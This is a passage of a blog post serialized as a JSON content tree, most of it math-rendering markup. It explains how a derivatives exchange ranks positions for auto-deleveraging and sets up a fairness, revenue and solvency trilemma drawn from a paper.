notional",{"type":23,"tag":141,"props":159120,"children":159121},{"style":112105},[159122,159126],{"type":23,"tag":141,"props":159123,"children":159125},{"className":159124,"style":110703},[2726],[],{"type":23,"tag":141,"props":159127,"children":159129},{"className":159128,"style":112115},[112114],[],{"type":23,"tag":141,"props":159131,"children":159132},{"style":157692},[159133,159137],{"type":23,"tag":141,"props":159134,"children":159136},{"className":159135,"style":110703},[2726],[],{"type":23,"tag":141,"props":159138,"children":159140},{"className":159139},[2686],[159141,159147,159152,159162,159167,159171,159175,159180],{"type":23,"tag":141,"props":159142,"children":159144},{"className":159143},[20296],[159145],{"type":29,"value":159146},"max",{"type":23,"tag":141,"props":159148,"children":159150},{"className":159149},[20389],[159151],{"type":29,"value":192},{"type":23,"tag":141,"props":159153,"children":159155},{"className":159154},[2686,29],[159156],{"type":23,"tag":141,"props":159157,"children":159159},{"className":159158},[2686],[159160],{"type":29,"value":159161},"pnl",{"type":23,"tag":141,"props":159163,"children":159165},{"className":159164},[2798],[159166],{"type":29,"value":512},{"type":23,"tag":141,"props":159168,"children":159170},{"className":159169,"style":2804},[2766],[],{"type":23,"tag":141,"props":159172,"children":159174},{"className":159173,"style":2804},[2766],[],{"type":23,"tag":141,"props":159176,"children":159178},{"className":159177},[2686],[159179],{"type":29,"value":2698},{"type":23,"tag":141,"props":159181,"children":159183},{"className":159182},[20411],[159184],{"type":29,"value":1788},{"type":23,"tag":141,"props":159186,"children":159188},{"className":159187},[20417],[159189],{"type":29,"value":20420},{"type":23,"tag":141,"props":159191,"children":159193},{"className":159192},[2712],[159194],{"type":23,"tag":141,"props":159195,"children":159197},{"className":159196,"style":157735},[2717],[159198],{"type":23,"tag":141,"props":159199,"children":159200},{},[],{"type":23,"tag":141,"props":159202,"children":159204},{"className":159203},[20411,112050],[],{"type":23,"tag":32,"props":159206,"children":159207},{},[159208,159210,159216],{"type":29,"value":159209},"It uses entry notional (",{"type":23,"tag":38,"props":159211,"children":159213},{"className":159212},[],[159214],{"type":29,"value":159215},"r14_2",{"type":29,"value":159217},") as the divisor. PNL is clamped to non-negative before division.",{"type":23,"tag":32,"props":159219,"children":159220},{},[159221],{"type":29,"value":159222},"This basically tells us how well the user's bet went.",{"type":23,"tag":157531,"props":159224,"children":159228},{"addr":159225,"addr-start":159226,"addr-end":159227},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":23,"tag":32,"props":159230,"children":159231},{},[159232,159234,159240,159242,159248],{"type":29,"value":159233},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":23,"tag":38,"props":159235,"children":159237},{"className":159236},[],[159238],{"type":29,"value":159239},"1e-8",{"type":29,"value":159241},", in order not to cancel each other out. The final ADL ranking score is ",{"type":23,"tag":38,"props":159243,"children":159245},{"className":159244},[],[159246],{"type":29,"value":159247},"effective_leverage * profit_ratio",{"type":29,"value":159249},", consistent with both ratio directions and the max clamp on PNL.",{"type":23,"tag":32,"props":159251,"children":159252},{},[159253],{"type":29,"value":159254},"So, in essence, we look for risky and profitable positions!",{"type":23,"tag":8287,"props":159256,"children":159258},{"id":159257},"partial-and-total-adl",[159259],{"type":29,"value":159260},"Partial and Total ADL",{"type":23,"tag":32,"props":159262,"children":159263},{},[159264],{"type":29,"value":159265},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":32,"props":159267,"children":159268},{},[159269],{"type":29,"value":159270},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":32,"props":159272,"children":159273},{},[159274,159276,159281],{"type":29,"value":159275},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":38,"props":159277,"children":159279},{"className":159278},[],[159280],{"type":29,"value":157856},{"type":29,"value":159282}," boils down to:",{"type":23,"tag":157531,"props":159284,"children":159287},{"addr":157902,"line-start":159285,"line-end":159286},"3252","3632",[],{"type":23,"tag":32,"props":159289,"children":159290},{},[159291],{"type":29,"value":159292},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":33843,"props":159294,"children":159296},{"id":159295},"branches",[159297],{"type":29,"value":159298},"Branches",{"type":23,"tag":32,"props":159300,"children":159301},{},[159302],{"type":29,"value":159303},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":32,"props":159305,"children":159306},{},[159307],{"type":29,"value":159308},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":33843,"props":159310,"children":159312},{"id":159311},"financial-conclusions",[159313],{"type":29,"value":159314},"Financial Conclusions",{"type":23,"tag":24,"props":159316,"children":159318},{"id":159317},"fairness-revenue-solvency-trilemma",[159319],{"type":29,"value":159320},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":32,"props":159322,"children":159323},{},[159324,159326,159332],{"type":29,"value":159325},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":55,"props":159327,"children":159329},{"href":158684,"rel":159328},[59],[159330],{"type":29,"value":159331},"the paper mentioned before",{"type":29,"value":159333},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":15362,"props":159335,"children":159336},{},[159337,159347,159357],{"type":23,"tag":120,"props":159338,"children":159339},{},[159340,159345],{"type":23,"tag":47,"props":159341,"children":159342},{},[159343],{"type":29,"value":159344},"Solvency",{"type":29,"value":159346},": can the platform pay every trader out?",{"type":23,"tag":120,"props":159348,"children":159349},{},[159350,159355],{"type":23,"tag":47,"props":159351,"children":159352},{},[159353],{"type":29,"value":159354},"Fairness",{"type":29,"value":159356},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":120,"props":159358,"children":159359},{},[159360,159365],{"type":23,"tag":47,"props":159361,"children":159362},{},[159363],{"type":29,"value":159364},"Revenue",{"type":29,"value":159366},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":32,"props":159368,"children":159369},{},[159370],{"type":29,"value":159371},"Let's borrow these definitions from the paper:",{"type":23,"tag":131,"props":159373,"children":159374},{},[159375],{"type":23,"tag":38,"props":159376,"children":159378},{"className":159377},[2658,157559],[159379],{"type":23,"tag":141,"props":159380,"children":159382},{"className":159381},[157564],[159383],{"type":23,"tag":141,"props":159384,"children":159386},{"className":159385},[2664],[159387],{"type":23,"tag":141,"props":159388,"children":159390},{"className":159389,"ariaHidden":2670},[2669],[159391],{"type":23,"tag":141,"props":159392,"children":159394},{"className":159393},[2675],[159395,159400],{"type":23,"tag":141,"props":159396,"children":159399},{"className":159397,"style":159398},[2680],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":141,"props":159401,"children":159403},{"className":159402},[2686],[159404],{"type":23,"tag":141,"props":159405,"children":159407},{"className":159406},[158261],[159408,160227],{"type":23,"tag":141,"props":159409,"children":159411},{"className":159410},[158266],[159412],{"type":23,"tag":141,"props":159413,"children":159415},{"className":159414},[2707,20314],[159416,160215],{"type":23,"tag":141,"props":159417,"children":159419},{"className":159418},[2712],[159420,160210],{"type":23,"tag":141,"props":159421,"children":159424},{"className":159422,"style":159423},[2717],"height:11.8392em;",[159425,159496,159513,159582,159652,159721,159791,159860,159929,159998,160068,160139],{"type":23,"tag":141,"props":159426,"children":159428},{"style":159427},"top:-14.3707em;",[159429,159434],{"type":23,"tag":141,"props":159430,"children":159433},{"className":159431,"style":159432},[2726],"height:3.3714em;",[],{"type":23,"tag":141,"props":159435,"children":159437},{"className":159436},[2686],[159438],{"type":23,"tag":141,"props":159439,"children":159441},{"className":159440},[2686],[159442,159447],{"type":23,"tag":141,"props":159443,"children":159445},{"className":159444,"style":20261},[2686,20260],[159446],{"type":29,"value":20264},{"type":23,"tag":141,"props":159448,"children":159450},{"className":159449},[2702],[159451],{"type":23,"tag":141,"props":159452,"children":159454},{"className":159453},[2707,20314],[159455,159485],{"type":23,"tag":141,"props":159456,"children":159458},{"className":159457},[2712],[159459,159480],{"type":23,"tag":141,"props":159460,"children":159462},{"className":159461,"style":107964},[2717],[159463],{"type":23,"tag":141,"props":159464,"children":159466},{"style":159465},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[159467,159471],{"type":23,"tag":141,"props":159468,"children":159470},{"className":159469,"style":2727},[2726],[],{"type":23,"tag":141,"props":159472,"children":159474},{"className":159473},[2732,2733,2734,2735],[159475],{"type":23,"tag":141,"props":159476,"children":159478},{"className":159477},[2686,20260,2735],[159479],{"type":29,"value":54883},{"type":23,"tag":141,"props":159481,"children":159483},{"className":159482},[20417],[159484],{"type":29,"value":20420},{"type":23,"tag":141,"props":159486,"children":159488},{"className":159487},[2712],[159489],{"type":23,"tag":141,"props":159490,"children":159492},{"className":159491,"style":91615},[2717],[159493],{"type":23,"tag":141,"props":159494,"children":159495},{},[],{"type":23,"tag":141,"props":159497,"children":159499},{"style":159498},"top:-12.8707em;",[159500,159504],{"type":23,"tag":141,"props":159501,"children":159503},{"className":159502,"style":159432},[2726],[],{"type":23,"tag":141,"props":159505,"children":159507},{"className":159506},[2686],[159508],{"type":23,"tag":141,"props":159509,"children":159511},{"className":159510,"style":93552},[2686,20260],[159512],{"type":29,"value":93586},{"type":23,"tag":141,"props":159514,"children":159516},{"style":159515},"top:-10.8392em;",[159517,159521],{"type":23,"tag":141,"props":159518,"children":159520},{"className":159519,"style":159432},[2726],[],{"type":23,"tag":141,"props":159522,"children":159524},{"className":159523},[2686],[159525],{"type":23,"tag":141,"props":159526,"children":159528},{"className":159527},[2686],[159529,159534],{"type":23,"tag":141,"props":159530,"children":159532},{"className":159531},[2686,20260],[159533],{"type":29,"value":1807},{"type":23,"tag":141,"props":159535,"children":159537},{"className":159536},[2702],[159538],{"type":23,"tag":141,"props":159539,"children":159541},{"className":159540},[2707,20314],[159542,159571],{"type":23,"tag":141,"props":159543,"children":159545},{"className":159544},[2712],[159546,159566],{"type":23,"tag":141,"props":159547,"children":159549},{"className":159548,"style":92061},[2717],[159550],{"type":23,"tag":141,"props":159551,"children":159552},{"style":91588},[159553,159557],{"type":23,"tag":141,"props":159554,"children":159556},{"className":159555,"style":2727},[2726],[],{"type":23,"tag":141,"props":159558,"children":159560},{"className":159559},[2732,2733,2734,2735],[159561],{"type":23,"tag":141,"props":159562,"children":159564},{"className":159563},[2686,20260,2735],[159565],{"type":29,"value":2404},{"type":23,"tag":141,"props":159567,"children":159569},{"className":159568},[20417],[159570],{"type":29,"value":20420},{"type":23,"tag":141,"props":159572,"children":159574},{"className":159573},[2712],[159575],{"type":23,"tag":141,"props":159576,"children":159578},{"className":159577,"style":91615},[2717],[159579],{"type":23,"tag":141,"props":159580,"children":159581},{},[],{"type":23,"tag":141,"props":159583,"children":159585},{"style":159584},"top:-8.8188em;",[159586,159590],{"type":23,"tag":141,"props":159587,"children":159589},{"className":159588,"style":159432},[2726],[],{"type":23,"tag":141,"props":159591,"children":159593},{"className":159592},[2686],[159594],{"type":23,"tag":141,"props":159595,"children":159597},{"className":159596},[2686],[159598,159604],{"type":23,"tag":141,"props":159599,"children":159601},{"className":159600,"style":92018},[2686,20260],[159602],{"type":29,"value":159603},"π",{"type":23,"tag":141,"props":159605,"children":159607},{"className":159606},[2702],[159608],{"type":23,"tag":141,"props":159609,"children":159611},{"className":159610},[2707,20314],[159612,159641],{"type":23,"tag":141,"props":159613,"children":159615},{"className":159614},[2712],[159616,159636],{"type":23,"tag":141,"props":159617,"children":159619},{"className":159618,"style":92061},[2717],[159620],{"type":23,"tag":141,"props":159621,"children":159622},{"style":92065},[159623,159627],{"type":23,"tag":141,"props":159624,"children":159626},{"className":159625,"style":2727},[2726],[],{"type":23,"tag":141,"props":159628,"children":159630},{"className":159629},[2732,2733,2734,2735],[159631],{"type":23,"tag":141,"props":159632,"children":159634},{"className":159633},[2686,20260,2735],[159635],{"type":29,"value":2404},{"type":23,"tag":141,"props":159637,"children":159639},{"className":159638},[20417],[159640],{"type":29,"value":20420},{"type":23,"tag":141,"props":159642,"children":159644},{"className":159643},[2712],[159645],{"type":23,"tag":141,"props":159646,"children":159648},{"className":159647,"style":91615},[2717],[159649],{"type":23,"tag":141,"props":159650,"children":159651},{},[],{"type":23,"tag":141,"props":159653,"children":159655},{"style":159654},"top:-7.3188em;",[159656,159660],{"type":23,"tag":141,"props":159657,"children":159659},{"className":159658,"style":159432},[2726],[],{"type":23,"tag":141,"props":159661,"children":159663},{"className":159662},[2686],[159664],{"type":23,"tag":141,"props":159665,"children":159667},{"className":159666},[2686],[159668,159673],{"type":23,"tag":141,"props":159669,"children":159671},{"className":159670},[2686,20260],[159672],{"type":29,"value":49933},{"type":23,"tag":141,"props":159674,"children":159676},{"className":159675},[2702],[159677],{"type":23,"tag":141,"props":159678,"children":159680},{"className":159679},[2707,20314],[159681,159710],{"type":23,"tag":141,"props":159682,"children":159684},{"className":159683},[2712],[159685,159705],{"type":23,"tag":141,"props":159686,"children":159688},{"className":159687,"style":92061},[2717],[159689],{"type":23,"tag":141,"props":159690,"children":159691},{"style":91588},[159692,159696],{"type":23,"tag":141,"props":159693,"children":159695},{"className":159694,"style":2727},[2726],[],{"type":23,"tag":141,"props":159697,"children":159699},{"className":159698},[2732,2733,2734,2735],[159700],{"type":23,"tag":141,"props":159701,"children":159703},{"className":159702},[2686,20260,2735],[159704],{"type":29,"value":2404},{"type":23,"tag":141,"props":159706,"children":159708},{"className":159707},[20417],[159709],{"type":29,"value":20420},{"type":23,"tag":141,"props":159711,"children":159713},{"className":159712},[2712],[159714],{"type":23,"tag":141,"props":159715,"children":159717},{"className":159716,"style":91615},[2717],[159718],{"type":23,"tag":141,"props":159719,"children":159720},{},[],{"type":23,"tag":141,"props":159722,"children":159724},{"style":159723},"top:-5.8188em;",[159725,159729],{"type":23,"tag":141,"props":159726,"children":159728},{"className":159727,"style":159432},[2726],[],{"type":23,"tag":141,"props":159730,"children":159732},{"className":159731},[2686],[159733],{"type":23,"tag":141,"props":159734,"children":159736},{"className":159735},[2686],[159737,159742],{"type":23,"tag":141,"props":159738,"children":159740},{"className":159739,"style":120812},[2686,20260],[159741],{"type":29,"value":48050},{"type":23,"tag":141,"props":159743,"children":159745},{"className":159744},[2702],[159746],{"type":23,"tag":141,"props":159747,"children":159749},{"className":159748},[2707,20314],[159750,159780],{"type":23,"tag":141,"props":159751,"children":159753},{"className":159752},[2712],[159754,159775],{"type":23,"tag":141,"props":159755,"children":159757},{"className":159756,"style":92061},[2717],[159758],{"type":23,"tag":141,"props":159759,"children":159761},{"style":159760},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[159762,159766],{"type":23,"tag":141,"props":159763,"children":159765},{"className":159764,"style":2727},[2726],[],{"type":23,"tag":141,"props":159767,"children":159769},{"className":159768},[2732,2733,2734,2735],[159770],{"type":23,"tag":141,"props":159771,"children":159773},{"className":159772},[2686,20260,2735],[159774],{"type":29,"value":2404},{"type":23,"tag":141,"props":159776,"children":159778},{"className":159777},[20417],[159779],{"type":29,"value":20420},{"type":23,"tag":141,"props":159781,"children":159783},{"className":159782},[2712],[159784],{"type":23,"tag":141,"props":159785,"children":159787},{"className":159786,"style":91615},[2717],[159788],{"type":23,"tag":141,"props":159789,"children":159790},{},[],{"type":23,"tag":141,"props":159792,"children":159794},{"style":159793},"top:-4.3188em;",[159795,159799],{"type":23,"tag":141,"props":159796,"children":159798},{"className":159797,"style":159432},[2726],[],{"type":23,"tag":141,"props":159800,"children":159802},{"className":159801},[2686],[159803],{"type":23,"tag":141,"props":159804,"children":159806},{"className":159805},[2686],[159807,159812],{"type":23,"tag":141,"props":159808,"children":159810},{"className":159809},[2686,20260],[159811],{"type":29,"value":17947},{"type":23,"tag":141,"props":159813,"children":159815},{"className":159814},[2702],[159816],{"type":23,"tag":141,"props":159817,"children":159819},{"className":159818},[2707,20314],[159820,159849],{"type":23,"tag":141,"props":159821,"children":159823},{"className":159822},[2712],[159824,159844],{"type":23,"tag":141,"props":159825,"children":159827},{"className":159826,"style":92061},[2717],[159828],{"type":23,"tag":141,"props":159829,"children":159830},{"style":91588},[159831,159835],{"type":23,"tag":141,"props":159832,"children":159834},{"className":159833,"style":2727},[2726],[],{"type":23,"tag":141,"props":159836,"children":159838},{"className":159837},[2732,2733,2734,2735],[159839],{"type":23,"tag":141,"props":159840,"children":159842},{"className":159841},[2686,20260,2735],[159843],{"type":29,"value":2404},{"type":23,"tag":141,"props":159845,"children":159847},{"className":159846},[20417],[159848],{"type":29,"value":20420},{"type":23,"tag":141,"props":159850,"children":159852},{"className":159851},[2712],[159853],{"type":23,"tag":141,"props":159854,"children":159856},{"className":159855,"style":91615},[2717],[159857],{"type":23,"tag":141,"props":159858,"children":159859},{},[],{"type":23,"tag":141,"props":159861,"children":159863},{"style":159862},"top:-2.5512em;",[159864,159868],{"type":23,"tag":141,"props":159865,"children":159867},{"className":159866,"style":159432},[2726],[],{"type":23,"tag":141,"props":159869,"children":159871},{"className":159870},[2686],[159872],{"type":23,"tag":141,"props":159873,"children":159875},{"className":159874},[2686],[159876,159881],{"type":23,"tag":141,"props":159877,"children":159879},{"className":159878},[2686,20260],[159880],{"type":29,"value":82830},{"type":23,"tag":141,"props":159882,"children":159884},{"className":159883},[2702],[159885],{"type":23,"tag":141,"props":159886,"children":159888},{"className":159887},[2707,20314],[159889,159918],{"type":23,"tag":141,"props":159890,"children":159892},{"className":159891},[2712],[159893,159913],{"type":23,"tag":141,"props":159894,"children":159896},{"className":159895,"style":92061},[2717],[159897],{"type":23,"tag":141,"props":159898,"children":159899},{"style":91588},[159900,159904],{"type":23,"tag":141,"props":159901,"children":159903},{"className":159902,"style":2727},[2726],[],{"type":23,"tag":141,"props":159905,"children":159907},{"className":159906},[2732,2733,2734,2735],[159908],{"type":23,"tag":141,"props":159909,"children":159911},{"className":159910},[2686,20260,2735],[159912],{"type":29,"value":2404},{"type":23,"tag":141,"props":159914,"children":159916},{"className":159915},[20417],[159917],{"type":29,"value":20420},{"type":23,"tag":141,"props":159919,"children":159921},{"className":159920},[2712],[159922],{"type":23,"tag":141,"props":159923,"children":159925},{"className":159924,"style":91615},[2717],[159926],{"type":23,"tag":141,"props":159927,"children":159928},{},[],{"type":23,"tag":141,"props":159930,"children":159932},{"style":159931},"top:-0.3652em;",[159933,159937],{"type":23,"tag":141,"props":159934,"children":159936},{"className":159935,"style":159432},[2726],[],{"type":23,"tag":141,"props":159938,"children":159940},{"className":159939},[2686],[159941],{"type":23,"tag":141,"props":159942,"children":159944},{"className":159943},[2686],[159945,159950],{"type":23,"tag":141,"props":159946,"children":159948},{"className":159947,"style":91766},[2686,20260],[159949],{"type":29,"value":91769},{"type":23,"tag":141,"props":159951,"children":159953},{"className":159952},[2702],[159954],{"type":23,"tag":141,"props":159955,"children":159957},{"className":159956},[2707,20314],[159958,159987],{"type":23,"tag":141,"props":159959,"children":159961},{"className":159960},[2712],[159962,159982],{"type":23,"tag":141,"props":159963,"children":159965},{"className":159964,"style":141087},[2717],[159966],{"type":23,"tag":141,"props":159967,"children":159968},{"style":108961},[159969,159973],{"type":23,"tag":141,"props":159970,"children":159972},{"className":159971,"style":2727},[2726],[],{"type":23,"tag":141,"props":159974,"children":159976},{"className":159975},[2732,2733,2734,2735],[159977],{"type":23,"tag":141,"props":159978,"children":159980},{"className":159979,"style":20261},[2686,20260,2735],[159981],{"type":29,"value":4661},{"type":23,"tag":141,"props":159983,"children":159985},{"className":159984},[20417],[159986],{"type":29,"value":20420},{"type":23,"tag":141,"props":159988,"children":159990},{"className":159989},[2712],[159991],{"type":23,"tag":141,"props":159992,"children":159994},{"className":159993,"style":91615},[2717],[159995],{"type":23,"tag":141,"props":159996,"children":159997},{},[],{"type":23,"tag":141,"props":159999,"children":160001},{"style":160000},"top:2.2624em;",[160002,160006],{"type":23,"tag":141,"props":160003,"children":160005},{"className":160004,"style":159432},[2726],[],{"type":23,"tag":141,"props":160007,"children":160009},{"className":160008},[2686],[160010],{"type":23,"tag":141,"props":160011,"children":160013},{"className":160012},[2686],[160014,160020],{"type":23,"tag":141,"props":160015,"children":160017},{"className":160016,"style":91532},[2686,20260],[160018],{"type":29,"value":160019},"D",{"type":23,"tag":141,"props":160021,"children":160023},{"className":160022},[2702],[160024],{"type":23,"tag":141,"props":160025,"children":160027},{"className":160026},[2707,20314],[160028,160057],{"type":23,"tag":141,"props":160029,"children":160031},{"className":160030},[2712],[160032,160052],{"type":23,"tag":141,"props":160033,"children":160035},{"className":160034,"style":141087},[2717],[160036],{"type":23,"tag":141,"props":160037,"children":160038},{"style":108531},[160039,160043],{"type":23,"tag":141,"props":160040,"children":160042},{"className":160041,"style":2727},[2726],[],{"type":23,"tag":141,"props":160044,"children":160046},{"className":160045},[2732,2733,2734,2735],[160047],{"type":23,"tag":141,"props":160048,"children":160050},{"className":160049,"style":20261},[2686,20260,2735],[160051],{"type":29,"value":4661},{"type":23,"tag":141,"props":160053,"children":160055},{"className":160054},[20417],[160056],{"type":29,"value":20420},{"type":23,"tag":141,"props":160058,"children":160060},{"className":160059},[2712],[160061],{"type":23,"tag":141,"props":160062,"children":160064},{"className":160063,"style":91615},[2717],[160065],{"type":23,"tag":141,"props":160066,"children":160067},{},[],{"type":23,"tag":141,"props":160069,"children":160071},{"style":160070},"top:4.8901em;",[160072,160076],{"type":23,"tag":141,"props":160073,"children":160075},{"className":160074,"style":159432},[2726],[],{"type":23,"tag":141,"props":160077,"children":160079},{"className":160078},[2686],[160080],{"type":23,"tag":141,"props":160081,"children":160083},{"className":160082},[2686],[160084,160090],{"type":23,"tag":141,"props":160085,"children":160087},{"className":160086,"style":93540},[2686,20260],[160088],{"type":29,"value":160089},"U",{"type":23,"tag":141,"props":160091,"children":160093},{"className":160092},[2702],[160094],{"type":23,"tag":141,"props":160095,"children":160097},{"className":160096},[2707,20314],[160098,160128],{"type":23,"tag":141,"props":160099,"children":160101},{"className":160100},[2712],[160102,160123],{"type":23,"tag":141,"props":160103,"children":160105},{"className":160104,"style":141087},[2717],[160106],{"type":23,"tag":141,"props":160107,"children":160109},{"style":160108},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[160110,160114],{"type":23,"tag":141,"props":160111,"children":160113},{"className":160112,"style":2727},[2726],[],{"type":23,"tag":141,"props":160115,"children":160117},{"className":160116},[2732,2733,2734,2735],[160118],{"type":23,"tag":141,"props":160119,"children":160121},{"className":160120,"style":20261},[2686,20260,2735],[160122],{"type":29,"value":4661},{"type":23,"tag":141,"props":160124,"children":160126},{"className":160125},[20417],[160127],{"type":29,"value":20420},{"type":23,"tag":141,"props":160129,"children":160131},{"className":160130},[2712],[160132],{"type":23,"tag":141,"props":160133,"children":160135},{"className":160134,"style":91615},[2717],[160136],{"type":23,"tag":141,"props":160137,"children":160138},{},[],{"type":23,"tag":141,"props":160140,"children":160142},{"style":160141},"top:7.3078em;",[160143,160147],{"type":23,"tag":141,"props":160144,"children":160146},{"className":160145,"style":159432},[2726],[],{"type":23,"tag":141,"props":160148,"children":160150},{"className":160149},[2686],[160151],{"type":23,"tag":141,"props":160152,"children":160154},{"className":160153},[2686],[160155,160160],{"type":23,"tag":141,"props":160156,"children":160158},{"className":160157,"style":121309},[2686,20260],[160159],{"type":29,"value":121312},{"type":23,"tag":141,"props":160161,"children":160163},{"className":160162},[2702],[160164],{"type":23,"tag":141,"props":160165,"children":160167},{"className":160166},[2707,20314],[160168,160199],{"type":23,"tag":141,"props":160169,"children":160171},{"className":160170},[2712],[160172,160194],{"type":23,"tag":141,"props":160173,"children":160176},{"className":160174,"style":160175},[2717],"height:0.2806em;",[160177],{"type":23,"tag":141,"props":160178,"children":160180},{"style":160179},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[160181,160185],{"type":23,"tag":141,"props":160182,"children":160184},{"className":160183,"style":2727},[2726],[],{"type":23,"tag":141,"props":160186,"children":160188},{"className":160187},[2732,2733,2734,2735],[160189],{"type":23,"tag":141,"props":160190,"children":160192},{"className":160191},[2686,20260,2735],[160193],{"type":29,"value":20402},{"type":23,"tag":141,"props":160195,"children":160197},{"className":160196},[20417],[160198],{"type":29,"value":20420},{"type":23,"tag":141,"props":160200,"children":160202},{"className":160201},[2712],[160203],{"type":23,"tag":141,"props":160204,"children":160206},{"className":160205,"style":91615},[2717],[160207],{"type":23,"tag":141,"props":160208,"children":160209},{},[],{"type":23,"tag":141,"props":160211,"children":160213},{"className":160212},[20417],[160214],{"type":29,"value":20420},{"type":23,"tag":141,"props":160216,"children":160218},{"className":160217},[2712],[160219],{"type":23,"tag":141,"props":160220,"children":160223},{"className":160221,"style":160222},[2717],"height:11.3392em;",[160224],{"type":23,"tag":141,"props":160225,"children":160226},{},[],{"type":23,"tag":141,"props":160228,"children":160230},{"className":160229},[158346],[160231],{"type":23,"tag":141,"props":160232,"children":160234},{"className":160233},[2707,20314],[160235,161937],{"type":23,"tag":141,"props":160236,"children":160238},{"className":160237},[2712],[160239,161932],{"type":23,"tag":141,"props":160240,"children":160242},{"className":160241,"style":159423},[2717],[160243,160281,160319,160466,160701,160856,160961,161004,161225,161384,161574,161726],{"type":23,"tag":141,"props":160244,"children":160245},{"style":159427},[160246,160250],{"type":23,"tag":141,"props":160247,"children":160249},{"className":160248,"style":159432},[2726],[],{"type":23,"tag":141,"props":160251,"children":160253},{"className":160252},[2686],[160254,160258,160262,160267,160271],{"type":23,"tag":141,"props":160255,"children":160257},{"className":160256},[2686],[],{"type":23,"tag":141,"props":160259,"children":160261},{"className":160260,"style":2863},[2766],[],{"type":23,"tag":141,"props":160263,"children":160265},{"className":160264},[2868],[160266],{"type":29,"value":20279},{"type":23,"tag":141,"props":160268,"children":160270},{"className":160269,"style":2863},[2766],[],{"type":23,"tag":141,"props":160272,"children":160274},{"className":160273},[2686,29],[160275],{"type":23,"tag":141,"props":160276,"children":160278},{"className":160277},[2686],[160279],{"type":29,"value":160280},"mark price",{"type":23,"tag":141,"props":160282,"children":160283},{"style":159498},[160284,160288],{"type":23,"tag":141,"props":160285,"children":160287},{"className":160286,"style":159432},[2726],[],{"type":23,"tag":141,"props":160289,"children":160291},{"className":160290},[2686],[160292,160296,160300,160305,160309],{"type":23,"tag":141,"props":160293,"children":160295},{"className":160294},[2686],[],{"type":23,"tag":141,"props":160297,"children":160299},{"className":160298,"style":2863},[2766],[],{"type":23,"tag":141,"props":160301,"children":160303},{"className":160302},[2868],[160304],{"type":29,"value":20279},{"type":23,"tag":141,"props":160306,"children":160308},{"className":160307,"style":2863},[2766],[],{"type":23,"tag":141,"props":160310,"children":160312},{"className":160311},[2686,29],[160313],{"type":23,"tag":141,"props":160314,"children":160316},{"className":160315},[2686],[160317],{"type":29,"value":160318},"insurance fund",{"type":23,"tag":141,"props":160320,"children":160321},{"style":159515},[160322,160326],{"type":23,"tag":141,"props":160323,"children":160325},{"className":160324,"style":159432},[2726],[],{"type":23,"tag":141,"props":160327,"children":160329},{"className":160328},[2686],[160330,160334,160338,160343,160347,160357,160361,160366,160370],{"type":23,"tag":141,"props":160331,"children":160333},{"className":160332},[2686],[],{"type":23,"tag":141,"props":160335,"children":160337},{"className":160336,"style":2863},[2766],[],{"type":23,"tag":141,"props":160339,"children":160341},{"className":160340},[2868],[160342],{"type":29,"value":20279},{"type":23,"tag":141,"props":160344,"children":160346},{"className":160345,"style":2863},[2766],[],{"type":23,"tag":141,"props":160348,"children":160350},{"className":160349},[2686,29],[160351],{"type":23,"tag":141,"props":160352,"children":160354},{"className":160353},[2686],[160355],{"type":29,"value":160356},"collateral",{"type":23,"tag":141,"props":160358,"children":160360},{"className":160359,"style":2863},[2766],[],{"type":23,"tag":141,"props":160362,"children":160364},{"className":160363},[2868],[160365],{"type":29,"value":1377},{"type":23,"tag":141,"props":160367,"children":160369},{"className":160368,"style":2863},[2766],[],{"type":23,"tag":141,"props":160371,"children":160373},{"className":160372},[2686],[160374,160378,160462],{"type":23,"tag":141,"props":160375,"children":160377},{"className":160376},[20389,112050],[],{"type":23,"tag":141,"props":160379,"children":160381},{"className":160380},[112055],[160382],{"type":23,"tag":141,"props":160383,"children":160385},{"className":160384},[2707,20314],[160386,160451],{"type":23,"tag":141,"props":160387,"children":160389},{"className":160388},[2712],[160390,160446],{"type":23,"tag":141,"props":160391,"children":160394},{"className":160392,"style":160393},[2717],"height:1.3714em;",[160395,160415,160426],{"type":23,"tag":141,"props":160396,"children":160397},{"style":157641},[160398,160402],{"type":23,"tag":141,"props":160399,"children":160401},{"className":160400,"style":110703},[2726],[],{"type":23,"tag":141,"props":160403,"children":160405},{"className":160404},[2686],[160406],{"type":23,"tag":141,"props":160407,"children":160409},{"className":160408},[2686,29],[160410],{"type":23,"tag":141,"props":160411,"children":160413},{"className":160412},[2686],[160414],{"type":29,"value":157678},{"type":23,"tag":141,"props":160416,"children":160417},{"style":112105},[160418,160422],{"type":23,"tag":141,"props":160419,"children":160421},{"className":160420,"style":110703},[2726],[],{"type":23,"tag":141,"props":160423,"children":160425},{"className":160424,"style":112115},[112114],[],{"type":23,"tag":141,"props":160427,"children":160428},{"style":157692},[160429,160433],{"type":23,"tag":141,"props":160430,"children":160432},{"className":160431,"style":110703},[2726],[],{"type":23,"tag":141,"props":160434,"children":160436},{"className":160435},[2686],[160437],{"type":23,"tag":141,"props":160438,"children":160440},{"className":160439},[2686,29],[160441],{"type":23,"tag":141,"props":160442,"children":160444},{"className":160443},[2686],[160445],{"type":29,"value":157717},{"type":23,"tag":141,"props":160447,"children":160449},{"className":160448},[20417],[160450],{"type":29,"value":20420},{"type":23,"tag":141,"props":160452,"children":160454},{"className":160453},[2712],[160455],{"type":23,"tag":141,"props":160456,"children":160458},{"className":160457,"style":157735},[2717],[160459],{"type":23,"tag":141,"props":160460,"children":16